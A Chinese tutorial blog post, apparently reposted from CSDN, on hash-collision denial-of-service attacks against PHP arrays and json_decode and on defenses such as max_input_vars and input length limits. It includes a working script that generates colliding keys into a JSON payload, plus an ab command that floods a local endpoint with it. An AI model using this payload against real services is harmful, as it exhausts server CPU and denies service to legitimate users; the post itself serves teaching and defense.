php hash碰撞攻击与防御(转)

发布时间:2019-09-05编辑:lianpenglin阅读(1920)

    一、前言

    hash碰撞攻击就是构造恶意的数据是hash表退化为链表,每次插入数据都会遍历链表,消耗大量服务器资源,从而达到攻击目的。php的数组就是利用hash表实现的,对于碰撞的数据,php采用双向链表解决方案,所以可以利用PHP的数组进行hash碰撞攻击。


    二、模拟攻击

    很多接口都采用json数据格式来传输,通常php都会使用php:input获得数据流,然后使用json_decode解析json数据。例如:

    $json = file_get_contents('php://input');
    $arr = json_decode($json, true);
    var_dump($arr);

    这种很容易被人利用hash碰撞攻击,导致cpu资源被耗尽。


    下面我们来看看构造65536个元素的正常数组和恶意数组所需要的时间:

    创建一个test.php脚本,写入

    $size = pow(2, 16);
    $arr = [];
    $startTime = microtime(true);
    for($i=0,$k=0; $i<$size; $i++,$k+=$size) {
            $arr[$k] = 0;
    }
    $endTime = microtime(true);
    echo "恶意插入{$size}个元素耗时 ", $endTime - $startTime, " s\n";
    
    file_put_contents('./hash.json', json_encode($arr));
    
    $arr = [];
    $startTime = microtime(true);
    for($i=0; $i<$size; $i++) {
        $arr[$i] = 0;
    }
    $endTime = microtime(true);
    echo "正常插入{$size}个元素耗时 ", $endTime - $startTime, " s\n";

    先用php5.6运行此脚本:

    1-1.png

    由上图可以看到耗时相差巨大。


    下面再用php7运行此脚本:

    1-2.png


    由上图可以看出php7比php5.6耗时短的多,这是由于php7优化了hash表的结构和算法,性能提升很多。但恶意插入还是比正常插入耗时长的多。


    我们再写一个简单的接口,利用刚才生成的恶意的数据来模拟攻击,同时利用top命令看看系统资源消耗。

    脚本:

    $json = file_get_contents('php://input');
    $startTime = microtime(true);
    $arr = json_decode($json, true);
    $endTime = microtime(true);
    echo "解析数据耗时 ", $endTime - $startTime, " s\n";

    攻击前的系统资源占用情况:

    1-3.png

    下面利用curl模拟攻击:

    1-4.png

    同时使用top命令查看:

    1-5.png

    可以看到cpu资源被耗尽,这还只是一条请求,如果使用ab压力测试,cpu资源会长时间被耗尽。

    可以使用以下命令模拟:

    ab -n 1000 -c 100 -s 1000 -p './hash.json' http://127.0.0.1/test2.php

    会发现cpu一直处于100%,要想停下来,只有重启php-fpm。

    service php-fpm restart

    至于hash碰撞攻击的原理,网上很多,我就不详细说了,下面说说怎么防御。

    三、hash碰撞攻击的防御

    其实不光json_decode有这个问题,牵扯到数组的都会有这个问题。比如GET/POST/COOKIE,均有此问题。

    GET/POST/COOKIE可以通过设置max_input_vars来解决。打开php.ini文件,找到此位置,修改其值,默认大小是1000。

    1-6.png

    至于json_decode这个问题,通常都是在接口容易被攻击。

    所以通常用以下方法解决:

    1、加密传输数据,自家应用接口可以采用对称加密,因为加解密速度快。开放给第三方的接口可以使用非对称加密,虽然加解密速度没有对称加密快,但是更安全点。

    2、使用$json = file_get_contents('php://input');获取数据后校验数据长度,根据业务特点规定最大长度,超过这个长度就报错。

    3、也可以将接收到的数据转为json对象,而不转成数组。即json_decode()函数不要设置第二个参数为true

    4、使用php7以上版本,php7相比于php5,性能提升非常多。

    ————————————————

    版权声明:本文为CSDN博主「zhaoyang_1214」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

    原文链接:https://blog.csdn.net/u014691098/article/details/84676753


标签php

如果对你有用打赏一下吧!